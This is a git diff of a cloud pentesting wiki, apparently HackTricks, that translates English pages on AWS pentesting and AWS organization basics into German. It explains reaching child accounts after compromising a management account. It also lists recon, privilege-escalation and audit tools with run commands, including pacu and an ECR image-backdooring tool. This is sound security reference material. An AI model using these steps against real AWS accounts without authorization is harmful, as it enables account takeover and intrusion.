Während Sie AWS-Dienste enumerieren, haben Sie möglicherweise einige von ihnen gefunden, die **Elemente ins Internet exponieren** (VM/Container-Ports, Datenbanken oder Warteschlangendienste, Snapshots oder Buckets...).\
|
||||
Als Pentester/Red Teamer sollten Sie immer überprüfen, ob Sie **sensible Informationen / Schwachstellen** auf ihnen finden können, da sie Ihnen **weiteren Zugang zum AWS-Konto** bieten könnten.
|
||||
|
||||
In this book you should find **information** about how to find **exposed AWS services and how to check them**. About how to find **vulnerabilities in exposed network services** I would recommend you to **search** for the specific **service** in:
|
||||
In diesem Buch sollten Sie **Informationen** darüber finden, wie man **exponierte AWS-Dienste findet und wie man sie überprüft**. Über das Finden von **Schwachstellen in exponierten Netzwerkdiensten** empfehle ich Ihnen, nach dem spezifischen **Dienst** zu **suchen** in:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/
|
||||
@@ -154,52 +152,49 @@ https://book.hacktricks.xyz/
|
||||
|
||||
### From the root/management account
|
||||
|
||||
When the management account creates new accounts in the organization, a **new role** is created in the new account, by default named **`OrganizationAccountAccessRole`** and giving **AdministratorAccess** policy to the **management account** to access the new account.
|
||||
Wenn das Management-Konto neue Konten in der Organisation erstellt, wird eine **neue Rolle** im neuen Konto erstellt, standardmäßig benannt **`OrganizationAccountAccessRole`** und gibt der **Management-Konto** die **AdministratorAccess**-Richtlinie, um auf das neue Konto zuzugreifen.
|
||||
|
||||
<figure><img src="../../images/image (171).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
So, in order to access as administrator a child account you need:
|
||||
Um also als Administrator auf ein Kindkonto zuzugreifen, benötigen Sie:
|
||||
|
||||
- **Compromise** the **management** account and find the **ID** of the **children accounts** and the **names** of the **role** (OrganizationAccountAccessRole by default) allowing the management account to access as admin.
|
||||
- To find children accounts go to the organizations section in the aws console or run `aws organizations list-accounts`
|
||||
- You cannot find the name of the roles directly, so check all the custom IAM policies and search any allowing **`sts:AssumeRole` over the previously discovered children accounts**.
|
||||
- **Compromise** a **principal** in the management account with **`sts:AssumeRole` permission over the role in the children accounts** (even if the account is allowing anyone from the management account to impersonate, as its an external account, specific `sts:AssumeRole` permissions are necessary).
|
||||
- **Kompromittieren** Sie das **Management**-Konto und finden Sie die **ID** der **Kindkonten** und die **Namen** der **Rolle** (OrganizationAccountAccessRole standardmäßig), die dem Management-Konto den Zugriff als Administrator ermöglicht.
|
||||
- Um Kindkonten zu finden, gehen Sie zum Organisationsbereich in der AWS-Konsole oder führen Sie `aws organizations list-accounts` aus.
|
||||
- Sie können die Namen der Rollen nicht direkt finden, also überprüfen Sie alle benutzerdefinierten IAM-Richtlinien und suchen Sie nach solchen, die **`sts:AssumeRole` über die zuvor entdeckten Kindkonten** erlauben.
|
||||
- **Kompromittieren** Sie einen **Principal** im Management-Konto mit **`sts:AssumeRole`-Berechtigung über die Rolle in den Kindkonten** (auch wenn das Konto jedem im Management-Konto erlaubt, sich auszugeben, da es sich um ein externes Konto handelt, sind spezifische `sts:AssumeRole`-Berechtigungen erforderlich).
|
||||
|
||||
## Automated Tools
|
||||
|
||||
### Recon
|
||||
|
||||
- [**aws-recon**](https://github.com/darkbitio/aws-recon): A multi-threaded AWS security-focused **inventory collection tool** written in Ruby.
|
||||
|
||||
- [**aws-recon**](https://github.com/darkbitio/aws-recon): Ein multithreaded, auf AWS-Sicherheit fokussiertes **Inventarsammlungstool**, geschrieben in Ruby.
|
||||
```bash
|
||||
# Install
|
||||
gem install aws_recon
|
||||
|
||||
# Recon and get json
|
||||
AWS_PROFILE=<profile> aws_recon \
|
||||
--services S3,EC2 \
|
||||
--regions global,us-east-1,us-east-2 \
|
||||
--verbose
|
||||
--services S3,EC2 \
|
||||
--regions global,us-east-1,us-east-2 \
|
||||
--verbose
|
||||
```
|
||||
|
||||
- [**cloudlist**](https://github.com/projectdiscovery/cloudlist): Cloudlist is a **multi-cloud tool for getting Assets** (Hostnames, IP Addresses) from Cloud Providers.
|
||||
- [**cloudmapper**](https://github.com/duo-labs/cloudmapper): CloudMapper helps you analyze your Amazon Web Services (AWS) environments. It now contains much more functionality, including auditing for security issues.
|
||||
|
||||
- [**cloudlist**](https://github.com/projectdiscovery/cloudlist): Cloudlist ist ein **Multi-Cloud-Tool zum Abrufen von Assets** (Hostnamen, IP-Adressen) von Cloud-Anbietern.
|
||||
- [**cloudmapper**](https://github.com/duo-labs/cloudmapper): CloudMapper hilft Ihnen, Ihre Amazon Web Services (AWS) Umgebungen zu analysieren. Es enthält jetzt viel mehr Funktionen, einschließlich der Überprüfung auf Sicherheitsprobleme.
|
||||
```bash
|
||||
# Installation steps in github
|
||||
# Create a config.json file with the aws info, like:
|
||||
{
|
||||
"accounts": [
|
||||
{
|
||||
"default": true,
|
||||
"id": "<account id>",
|
||||
"name": "dev"
|
||||
}
|
||||
],
|
||||
"cidrs":
|
||||
{
|
||||
"2.2.2.2/28": {"name": "NY Office"}
|
||||
}
|
||||
"accounts": [
|
||||
{
|
||||
"default": true,
|
||||
"id": "<account id>",
|
||||
"name": "dev"
|
||||
}
|
||||
],
|
||||
"cidrs":
|
||||
{
|
||||
"2.2.2.2/28": {"name": "NY Office"}
|
||||
}
|
||||
}
|
||||
|
||||
# Enumerate
|
||||
@@ -229,9 +224,7 @@ python3 cloudmapper.py public --accounts dev
|
||||
python cloudmapper.py prepare #Prepare webserver
|
||||
python cloudmapper.py webserver #Show webserver
|
||||
```
|
||||
|
||||
- [**cartography**](https://github.com/lyft/cartography): Cartography is a Python tool that consolidates infrastructure assets and the relationships between them in an intuitive graph view powered by a Neo4j database.
|
||||
|
||||
- [**cartography**](https://github.com/lyft/cartography): Cartography ist ein Python-Tool, das Infrastrukturressourcen und die Beziehungen zwischen ihnen in einer intuitiven grafischen Ansicht konsolidiert, die von einer Neo4j-Datenbank unterstützt wird.
|
||||
```bash
|
||||
# Install
|
||||
pip install cartography
|
||||
@@ -240,17 +233,15 @@ pip install cartography
|
||||
# Get AWS info
|
||||
AWS_PROFILE=dev cartography --neo4j-uri bolt://127.0.0.1:7687 --neo4j-password-prompt --neo4j-user neo4j
|
||||
```
|
||||
|
||||
- [**starbase**](https://github.com/JupiterOne/starbase): Starbase collects assets and relationships from services and systems including cloud infrastructure, SaaS applications, security controls, and more into an intuitive graph view backed by the Neo4j database.
|
||||
- [**aws-inventory**](https://github.com/nccgroup/aws-inventory): (Uses python2) This is a tool that tries to **discover all** [**AWS resources**](https://docs.aws.amazon.com/general/latest/gr/glos-chap.html#resource) created in an account.
|
||||
- [**aws_public_ips**](https://github.com/arkadiyt/aws_public_ips): It's a tool to **fetch all public IP addresses** (both IPv4/IPv6) associated with an AWS account.
|
||||
- [**starbase**](https://github.com/JupiterOne/starbase): Starbase sammelt Assets und Beziehungen von Diensten und Systemen, einschließlich Cloud-Infrastruktur, SaaS-Anwendungen, Sicherheitskontrollen und mehr, in einer intuitiven grafischen Ansicht, die von der Neo4j-Datenbank unterstützt wird.
|
||||
- [**aws-inventory**](https://github.com/nccgroup/aws-inventory): (Verwendet python2) Dies ist ein Tool, das versucht, **alle** [**AWS-Ressourcen**](https://docs.aws.amazon.com/general/latest/gr/glos-chap.html#resource) zu **entdecken**, die in einem Konto erstellt wurden.
|
||||
- [**aws_public_ips**](https://github.com/arkadiyt/aws_public_ips): Es ist ein Tool, um **alle öffentlichen IP-Adressen** (sowohl IPv4/IPv6) abzurufen, die mit einem AWS-Konto verbunden sind.
|
||||
|
||||
### Privesc & Exploiting
|
||||
|
||||
- [**SkyArk**](https://github.com/cyberark/SkyArk)**:** Discover the most privileged users in the scanned AWS environment, including the AWS Shadow Admins. It uses powershell. You can find the **definition of privileged policies** in the function **`Check-PrivilegedPolicy`** in [https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1](https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1).
|
||||
- [**pacu**](https://github.com/RhinoSecurityLabs/pacu): Pacu is an open-source **AWS exploitation framework**, designed for offensive security testing against cloud environments. It can **enumerate**, find **miss-configurations** and **exploit** them. You can find the **definition of privileged permissions** in [https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam\_\_privesc_scan/main.py#L134](https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134) inside the **`user_escalation_methods`** dict.
|
||||
- Note that pacu **only checks your own privescs paths** (not account wide).
|
||||
|
||||
- [**SkyArk**](https://github.com/cyberark/SkyArk)**:** Entdecken Sie die privilegiertesten Benutzer in der gescannten AWS-Umgebung, einschließlich der AWS Shadow Admins. Es verwendet PowerShell. Sie finden die **Definition privilegierter Richtlinien** in der Funktion **`Check-PrivilegedPolicy`** in [https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1](https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1).
|
||||
- [**pacu**](https://github.com/RhinoSecurityLabs/pacu): Pacu ist ein Open-Source-**AWS-Exploitation-Framework**, das für offensive Sicherheitstests in Cloud-Umgebungen entwickelt wurde. Es kann **enumerieren**, **Fehlkonfigurationen** finden und diese **ausnutzen**. Sie finden die **Definition privilegierter Berechtigungen** in [https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam\_\_privesc_scan/main.py#L134](https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134) im **`user_escalation_methods`** dict.
|
||||
- Beachten Sie, dass pacu **nur Ihre eigenen Privesc-Pfade überprüft** (nicht kontoweit).
|
||||
```bash
|
||||
# Install
|
||||
## Feel free to use venvs
|
||||
@@ -264,9 +255,7 @@ pacu
|
||||
> exec iam__enum_permissions # Get permissions
|
||||
> exec iam__privesc_scan # List privileged permissions
|
||||
```
|
||||
|
||||
- [**PMapper**](https://github.com/nccgroup/PMapper): Principal Mapper (PMapper) is a script and library for identifying risks in the configuration of AWS Identity and Access Management (IAM) for an AWS account or an AWS organization. It models the different IAM Users and Roles in an account as a directed graph, which enables checks for **privilege escalation** and for alternate paths an attacker could take to gain access to a resource or action in AWS. You can check the **permissions used to find privesc** paths in the filenames ended in `_edges.py` in [https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing)
|
||||
|
||||
- [**PMapper**](https://github.com/nccgroup/PMapper): Principal Mapper (PMapper) ist ein Skript und eine Bibliothek zur Identifizierung von Risiken in der Konfiguration von AWS Identity and Access Management (IAM) für ein AWS-Konto oder eine AWS-Organisation. Es modelliert die verschiedenen IAM-Benutzer und -Rollen in einem Konto als gerichteten Graphen, was Überprüfungen auf **privilege escalation** und auf alternative Wege ermöglicht, die ein Angreifer nutzen könnte, um Zugriff auf eine Ressource oder Aktion in AWS zu erhalten. Sie können die **permissions used to find privesc** Pfade in den Dateien, die mit `_edges.py` enden, in [https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing) überprüfen.
|
||||
```bash
|
||||
# Install
|
||||
pip install principalmapper
|
||||
@@ -288,10 +277,8 @@ pmapper --profile dev query 'preset privesc *' # Get privescs with admins
|
||||
pmapper --profile dev orgs create
|
||||
pmapper --profile dev orgs display
|
||||
```
|
||||
|
||||
- [**cloudsplaining**](https://github.com/salesforce/cloudsplaining): Cloudsplaining is an AWS IAM Security Assessment tool that identifies violations of least privilege and generates a risk-prioritized HTML report.\
|
||||
It will show you potentially **over privileged** customer, inline and aws **policies** and which **principals has access to them**. (It not only checks for privesc but also other kind of interesting permissions, recommended to use).
|
||||
|
||||
- [**cloudsplaining**](https://github.com/salesforce/cloudsplaining): Cloudsplaining ist ein AWS IAM-Sicherheitsbewertungstool, das Verstöße gegen das Prinzip der minimalen Berechtigung identifiziert und einen risikopriorisierten HTML-Bericht erstellt.\
|
||||
Es zeigt Ihnen potenziell **überprivilegierte** Kunden, Inline- und AWS-**Richtlinien** und welche **Prinzipien Zugriff darauf haben**. (Es überprüft nicht nur auf privesc, sondern auch auf andere interessante Berechtigungen, die empfohlen werden zu verwenden).
|
||||
```bash
|
||||
# Install
|
||||
pip install cloudsplaining
|
||||
@@ -303,24 +290,20 @@ cloudsplaining download --profile dev
|
||||
# Analyze the IAM policies
|
||||
cloudsplaining scan --input-file /private/tmp/cloudsplaining/dev.json --output /tmp/files/
|
||||
```
|
||||
|
||||
- [**cloudjack**](https://github.com/prevade/cloudjack): CloudJack assesses AWS accounts for **subdomain hijacking vulnerabilities** as a result of decoupled Route53 and CloudFront configurations.
|
||||
- [**ccat**](https://github.com/RhinoSecurityLabs/ccat): List ECR repos -> Pull ECR repo -> Backdoor it -> Push backdoored image
|
||||
- [**Dufflebag**](https://github.com/bishopfox/dufflebag): Dufflebag is a tool that **searches** through public Elastic Block Storage (**EBS) snapshots for secrets** that may have been accidentally left in.
|
||||
- [**cloudjack**](https://github.com/prevade/cloudjack): CloudJack bewertet AWS-Konten auf **Subdomain-Hijacking-Schwachstellen** aufgrund von entkoppelten Route53- und CloudFront-Konfigurationen.
|
||||
- [**ccat**](https://github.com/RhinoSecurityLabs/ccat): Liste ECR-Repos -> Ziehe ECR-Repo -> Hintertür einfügen -> Hintertür-Image pushen
|
||||
- [**Dufflebag**](https://github.com/bishopfox/dufflebag): Dufflebag ist ein Tool, das durch öffentliche Elastic Block Storage (**EBS**) Snapshots nach Geheimnissen **sucht**, die möglicherweise versehentlich hinterlassen wurden.
|
||||
|
||||
### Audit
|
||||
|
||||
- [**cloudsploit**](https://github.com/aquasecurity/cloudsploit)**:** CloudSploit by Aqua is an open-source project designed to allow detection of **security risks in cloud infrastructure** accounts, including: Amazon Web Services (AWS), Microsoft Azure, Google Cloud Platform (GCP), Oracle Cloud Infrastructure (OCI), and GitHub (It doesn't look for ShadowAdmins).
|
||||
|
||||
- [**cloudsploit**](https://github.com/aquasecurity/cloudsploit)**:** CloudSploit von Aqua ist ein Open-Source-Projekt, das entwickelt wurde, um **Sicherheitsrisiken in Cloud-Infrastruktur** Konten zu erkennen, einschließlich: Amazon Web Services (AWS), Microsoft Azure, Google Cloud Platform (GCP), Oracle Cloud Infrastructure (OCI) und GitHub (Es sucht nicht nach ShadowAdmins).
|
||||
```bash
|
||||
./index.js --csv=file.csv --console=table --config ./config.js
|
||||
|
||||
# Compiance options: --compliance {hipaa,cis,cis1,cis2,pci}
|
||||
## use "cis" for cis level 1 and 2
|
||||
```
|
||||
|
||||
- [**Prowler**](https://github.com/prowler-cloud/prowler): Prowler is an Open Source security tool to perform AWS security best practices assessments, audits, incident response, continuous monitoring, hardening and forensics readiness.
|
||||
|
||||
- [**Prowler**](https://github.com/prowler-cloud/prowler): Prowler ist ein Open Source-Sicherheitswerkzeug zur Durchführung von Bewertungen, Audits, Incident-Response, kontinuierlicher Überwachung, Härtung und forensischer Bereitschaft in Bezug auf AWS-Sicherheitsbest Practices.
|
||||
```bash
|
||||
# Install python3, jq and git
|
||||
# Install
|
||||
@@ -331,15 +314,11 @@ prowler -v
|
||||
prowler <provider>
|
||||
prowler aws --profile custom-profile [-M csv json json-asff html]
|
||||
```
|
||||
|
||||
- [**CloudFox**](https://github.com/BishopFox/cloudfox): CloudFox helps you gain situational awareness in unfamiliar cloud environments. It’s an open source command line tool created to help penetration testers and other offensive security professionals find exploitable attack paths in cloud infrastructure.
|
||||
|
||||
- [**CloudFox**](https://github.com/BishopFox/cloudfox): CloudFox hilft Ihnen, situative Wahrnehmung in unbekannten Cloud-Umgebungen zu erlangen. Es ist ein Open-Source-Befehlszeilenwerkzeug, das entwickelt wurde, um Penetrationstestern und anderen Fachleuten für offensive Sicherheit zu helfen, ausnutzbare Angriffswege in der Cloud-Infrastruktur zu finden.
|
||||
```bash
|
||||
cloudfox aws --profile [profile-name] all-checks
|
||||
```
|
||||
|
||||
- [**ScoutSuite**](https://github.com/nccgroup/ScoutSuite): Scout Suite is an open source multi-cloud security-auditing tool, which enables security posture assessment of cloud environments.
|
||||
|
||||
- [**ScoutSuite**](https://github.com/nccgroup/ScoutSuite): Scout Suite ist ein Open-Source-Multi-Cloud-Sicherheitsprüfungswerkzeug, das die Bewertung der Sicherheitslage von Cloud-Umgebungen ermöglicht.
|
||||
```bash
|
||||
# Install
|
||||
virtualenv -p python3 venv
|
||||
@@ -350,18 +329,16 @@ scout --help
|
||||
# Get info
|
||||
scout aws -p dev
|
||||
```
|
||||
- [**cs-suite**](https://github.com/SecurityFTW/cs-suite): Cloud Security Suite (verwendet python2.7 und sieht unwartbar aus)
|
||||
- [**Zeus**](https://github.com/DenizParlak/Zeus): Zeus ist ein leistungsstarkes Tool für AWS EC2 / S3 / CloudTrail / CloudWatch / KMS beste Härtungspraktiken (sieht unwartbar aus). Es überprüft nur standardmäßig konfigurierte Anmeldeinformationen im System.
|
||||
|
||||
- [**cs-suite**](https://github.com/SecurityFTW/cs-suite): Cloud Security Suite (uses python2.7 and looks unmaintained)
|
||||
- [**Zeus**](https://github.com/DenizParlak/Zeus): Zeus is a powerful tool for AWS EC2 / S3 / CloudTrail / CloudWatch / KMS best hardening practices (looks unmaintained). It checks only default configured creds inside the system.
|
||||
### Ständige Prüfung
|
||||
|
||||
### Constant Audit
|
||||
|
||||
- [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): Cloud Custodian is a rules engine for managing public cloud accounts and resources. It allows users to **define policies to enable a well managed cloud infrastructure**, that's both secure and cost optimized. It consolidates many of the adhoc scripts organizations have into a lightweight and flexible tool, with unified metrics and reporting.
|
||||
- [**pacbot**](https://github.com/tmobile/pacbot)**: Policy as Code Bot (PacBot)** is a platform for **continuous compliance monitoring, compliance reporting and security automation for the clou**d. In PacBot, security and compliance policies are implemented as code. All resources discovered by PacBot are evaluated against these policies to gauge policy conformance. The PacBot **auto-fix** framework provides the ability to automatically respond to policy violations by taking predefined actions.
|
||||
- [**streamalert**](https://github.com/airbnb/streamalert)**:** StreamAlert is a serverless, **real-time** data analysis framework which empowers you to **ingest, analyze, and alert** on data from any environment, u**sing data sources and alerting logic you define**. Computer security teams use StreamAlert to scan terabytes of log data every day for incident detection and response.
|
||||
|
||||
## DEBUG: Capture AWS cli requests
|
||||
- [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): Cloud Custodian ist eine Regel-Engine zur Verwaltung öffentlicher Cloud-Konten und -Ressourcen. Es ermöglicht Benutzern, **Richtlinien zu definieren, um eine gut verwaltete Cloud-Infrastruktur** zu ermöglichen, die sowohl sicher als auch kosteneffizient ist. Es konsolidiert viele der Ad-hoc-Skripte, die Organisationen haben, in ein leichtgewichtiges und flexibles Tool mit einheitlichen Metriken und Berichterstattung.
|
||||
- [**pacbot**](https://github.com/tmobile/pacbot)**: Policy as Code Bot (PacBot)** ist eine Plattform für **kontinuierliche Compliance-Überwachung, Compliance-Berichterstattung und Sicherheitsautomatisierung für die Cloud**. In PacBot werden Sicherheits- und Compliance-Richtlinien als Code implementiert. Alle von PacBot entdeckten Ressourcen werden gegen diese Richtlinien bewertet, um die Konformität mit den Richtlinien zu überprüfen. Das PacBot **Auto-Fix**-Framework bietet die Möglichkeit, automatisch auf Richtlinienverletzungen zu reagieren, indem vordefinierte Maßnahmen ergriffen werden.
|
||||
- [**streamalert**](https://github.com/airbnb/streamalert)**:** StreamAlert ist ein serverloses, **Echtzeit**-Datenanalyse-Framework, das es Ihnen ermöglicht, **Daten aus jeder Umgebung zu erfassen, zu analysieren und zu alarmieren**, **unter Verwendung von Datenquellen und Alarmierungslogik, die Sie definieren**. Computer-Sicherheitsteams verwenden StreamAlert, um täglich Terabytes von Protokolldaten auf Vorfallserkennung und -reaktion zu scannen.
|
||||
|
||||
## DEBUG: AWS CLI-Anfragen erfassen
|
||||
```bash
|
||||
# Set proxy
|
||||
export HTTP_PROXY=http://localhost:8080
|
||||
@@ -380,14 +357,9 @@ export AWS_CA_BUNDLE=~/Downloads/certificate.pem
|
||||
# Run aws cli normally trusting burp cert
|
||||
aws ...
|
||||
```
|
||||
|
||||
## References
|
||||
## Referenzen
|
||||
|
||||
- [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ)
|
||||
- [https://cloudsecdocs.com/aws/defensive/tooling/audit/](https://cloudsecdocs.com/aws/defensive/tooling/audit/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,331 +1,317 @@
|
||||
# AWS - Basic Information
|
||||
# AWS - Grundinformationen
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Organization Hierarchy
|
||||
## Organisationshierarchie
|
||||
|
||||
.png>)
|
||||
|
||||
### Accounts
|
||||
### Konten
|
||||
|
||||
In AWS there is a **root account,** which is the **parent container for all the accounts** for your **organization**. However, you don't need to use that account to deploy resources, you can create **other accounts to separate different AWS** infrastructures between them.
|
||||
In AWS gibt es ein **Root-Konto**, das der **Elterncontainer für alle Konten** Ihrer **Organisation** ist. Sie müssen jedoch dieses Konto nicht verwenden, um Ressourcen bereitzustellen; Sie können **andere Konten erstellen, um verschiedene AWS**-Infrastrukturen voneinander zu trennen.
|
||||
|
||||
This is very interesting from a **security** point of view, as **one account won't be able to access resources from other account** (except bridges are specifically created), so this way you can create boundaries between deployments.
|
||||
Dies ist aus **Sicherheits**sicht sehr interessant, da **ein Konto nicht auf Ressourcen eines anderen Kontos zugreifen kann** (es sei denn, es werden speziell Brücken erstellt), sodass Sie auf diese Weise Grenzen zwischen Bereitstellungen schaffen können.
|
||||
|
||||
Therefore, there are **two types of accounts in an organization** (we are talking about AWS accounts and not User accounts): a single account that is designated as the management account, and one or more member accounts.
|
||||
Daher gibt es **zwei Arten von Konten in einer Organisation** (wir sprechen von AWS-Konten und nicht von Benutzerkonten): ein einzelnes Konto, das als Verwaltungskonto bezeichnet wird, und ein oder mehrere Mitgliedskonten.
|
||||
|
||||
- The **management account (the root account)** is the account that you use to create the organization. From the organization's management account, you can do the following:
|
||||
- Das **Verwaltungskonto (das Root-Konto)** ist das Konto, das Sie verwenden, um die Organisation zu erstellen. Vom Verwaltungskonto der Organisation aus können Sie Folgendes tun:
|
||||
|
||||
- Create accounts in the organization
|
||||
- Invite other existing accounts to the organization
|
||||
- Remove accounts from the organization
|
||||
- Manage invitations
|
||||
- Apply policies to entities (roots, OUs, or accounts) within the organization
|
||||
- Enable integration with supported AWS services to provide service functionality across all of the accounts in the organization.
|
||||
- It's possible to login as the root user using the email and password used to create this root account/organization.
|
||||
- Konten in der Organisation erstellen
|
||||
- Andere bestehende Konten zur Organisation einladen
|
||||
- Konten aus der Organisation entfernen
|
||||
- Einladungen verwalten
|
||||
- Richtlinien auf Entitäten (Roots, OUs oder Konten) innerhalb der Organisation anwenden
|
||||
- Die Integration mit unterstützten AWS-Diensten aktivieren, um die Funktionalität über alle Konten in der Organisation bereitzustellen.
|
||||
- Es ist möglich, sich als Root-Benutzer mit der E-Mail-Adresse und dem Passwort anzumelden, die zum Erstellen dieses Root-Kontos/Organisation verwendet wurden.
|
||||
|
||||
The management account has the **responsibilities of a payer account** and is responsible for paying all charges that are accrued by the member accounts. You can't change an organization's management account.
|
||||
|
||||
- **Member accounts** make up all of the rest of the accounts in an organization. An account can be a member of only one organization at a time. You can attach a policy to an account to apply controls to only that one account.
|
||||
- Member accounts **must use a valid email address** and can have a **name**, in general they wont be able to manage the billing (but they might be given access to it).
|
||||
Das Verwaltungskonto hat die **Verantwortlichkeiten eines Zahlungskontos** und ist verantwortlich für die Bezahlung aller Gebühren, die von den Mitgliedskonten angefallen sind. Sie können das Verwaltungskonto einer Organisation nicht ändern.
|
||||
|
||||
- **Mitgliedskonten** bilden alle anderen Konten in einer Organisation. Ein Konto kann nur Mitglied einer Organisation gleichzeitig sein. Sie können eine Richtlinie an ein Konto anhängen, um Kontrollen nur auf dieses eine Konto anzuwenden.
|
||||
- Mitgliedskonten **müssen eine gültige E-Mail-Adresse verwenden** und können einen **Namen** haben; im Allgemeinen werden sie nicht in der Lage sein, die Abrechnung zu verwalten (aber sie könnten Zugang dazu erhalten).
|
||||
```
|
||||
aws organizations create-account --account-name testingaccount --email testingaccount@lalala1233fr.com
|
||||
```
|
||||
### **Organisationseinheiten**
|
||||
|
||||
### **Organization Units**
|
||||
|
||||
Accounts can be grouped in **Organization Units (OU)**. This way, you can create **policies** for the Organization Unit that are going to be **applied to all the children accounts**. Note that an OU can have other OUs as children.
|
||||
|
||||
Konten können in **Organisationseinheiten (OU)** gruppiert werden. Auf diese Weise können Sie **Richtlinien** für die Organisationseinheit erstellen, die auf **alle untergeordneten Konten angewendet werden**. Beachten Sie, dass eine OU andere OUs als Kinder haben kann.
|
||||
```bash
|
||||
# You can get the root id from aws organizations list-roots
|
||||
aws organizations create-organizational-unit --parent-id r-lalala --name TestOU
|
||||
```
|
||||
|
||||
### Service Control Policy (SCP)
|
||||
|
||||
A **service control policy (SCP)** is a policy that specifies the services and actions that users and roles can use in the accounts that the SCP affects. SCPs are **similar to IAM** permissions policies except that they **don't grant any permissions**. Instead, SCPs specify the **maximum permissions** for an organization, organizational unit (OU), or account. When you attach a SCP to your organization root or an OU, the **SCP limits permissions for entities in member accounts**.
|
||||
Eine **Service Control Policy (SCP)** ist eine Richtlinie, die die Dienste und Aktionen angibt, die Benutzer und Rollen in den Konten, auf die die SCP Einfluss hat, verwenden können. SCPs sind **ähnlich wie IAM** Berechtigungsrichtlinien, mit dem Unterschied, dass sie **keine Berechtigungen gewähren**. Stattdessen geben SCPs die **maximalen Berechtigungen** für eine Organisation, eine organisatorische Einheit (OU) oder ein Konto an. Wenn Sie eine SCP an den Stamm Ihrer Organisation oder an eine OU anhängen, **beschränkt die SCP die Berechtigungen für Entitäten in Mitgliedskonten**.
|
||||
|
||||
This is the ONLY way that **even the root user can be stopped** from doing something. For example, it could be used to stop users from disabling CloudTrail or deleting backups.\
|
||||
The only way to bypass this is to compromise also the **master account** that configures the SCPs (master account cannot be blocked).
|
||||
Dies ist der EINZIGE Weg, wie **sogar der Root-Benutzer daran gehindert werden kann**, etwas zu tun. Zum Beispiel könnte es verwendet werden, um Benutzer daran zu hindern, CloudTrail zu deaktivieren oder Backups zu löschen.\
|
||||
Der einzige Weg, dies zu umgehen, besteht darin, auch das **Master-Konto** zu kompromittieren, das die SCPs konfiguriert (das Master-Konto kann nicht blockiert werden).
|
||||
|
||||
> [!WARNING]
|
||||
> Note that **SCPs only restrict the principals in the account**, so other accounts are not affected. This means having an SCP deny `s3:GetObject` will not stop people from **accessing a public S3 bucket** in your account.
|
||||
> Beachten Sie, dass **SCPs nur die Prinzipale im Konto einschränken**, sodass andere Konten nicht betroffen sind. Das bedeutet, dass eine SCP, die `s3:GetObject` verweigert, nicht verhindert, dass Personen **auf einen öffentlichen S3-Bucket** in Ihrem Konto zugreifen.
|
||||
|
||||
SCP examples:
|
||||
SCP-Beispiele:
|
||||
|
||||
- Deny the root account entirely
|
||||
- Only allow specific regions
|
||||
- Only allow white-listed services
|
||||
- Deny GuardDuty, CloudTrail, and S3 Public Block Access from
|
||||
- Den Root-Account vollständig verweigern
|
||||
- Nur bestimmte Regionen zulassen
|
||||
- Nur genehmigte Dienste zulassen
|
||||
- Verweigern, dass GuardDuty, CloudTrail und S3 Public Block Access deaktiviert werden
|
||||
|
||||
being disabled
|
||||
- Verweigern, dass Sicherheits-/Vorfallreaktionsrollen gelöscht oder
|
||||
|
||||
- Deny security/incident response roles from being deleted or
|
||||
modifiziert werden.
|
||||
|
||||
modified.
|
||||
- Verweigern, dass Backups gelöscht werden.
|
||||
- Verweigern, IAM-Benutzer und Zugriffsschlüssel zu erstellen
|
||||
|
||||
- Deny backups from being deleted.
|
||||
- Deny creating IAM users and access keys
|
||||
|
||||
Find **JSON examples** in [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html)
|
||||
Finden Sie **JSON-Beispiele** unter [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html)
|
||||
|
||||
### ARN
|
||||
|
||||
**Amazon Resource Name** is the **unique name** every resource inside AWS has, its composed like this:
|
||||
|
||||
**Amazon Resource Name** ist der **einzigartige Name**, den jede Ressource innerhalb von AWS hat, er setzt sich wie folgt zusammen:
|
||||
```
|
||||
arn:partition:service:region:account-id:resource-type/resource-id
|
||||
arn:aws:elasticbeanstalk:us-west-1:123456789098:environment/App/Env
|
||||
```
|
||||
|
||||
Note that there are 4 partitions in AWS but only 3 ways to call them:
|
||||
Hinweis: Es gibt 4 Partitionen in AWS, aber nur 3 Möglichkeiten, sie zu benennen:
|
||||
|
||||
- AWS Standard: `aws`
|
||||
- AWS China: `aws-cn`
|
||||
- AWS US public Internet (GovCloud): `aws-us-gov`
|
||||
- AWS Secret (US Classified): `aws`
|
||||
|
||||
## IAM - Identity and Access Management
|
||||
## IAM - Identitäts- und Zugriffsmanagement
|
||||
|
||||
IAM is the service that will allow you to manage **Authentication**, **Authorization** and **Access Control** inside your AWS account.
|
||||
IAM ist der Dienst, der es Ihnen ermöglicht, **Authentifizierung**, **Autorisierung** und **Zugriffskontrolle** innerhalb Ihres AWS-Kontos zu verwalten.
|
||||
|
||||
- **Authentication** - Process of defining an identity and the verification of that identity. This process can be subdivided in: Identification and verification.
|
||||
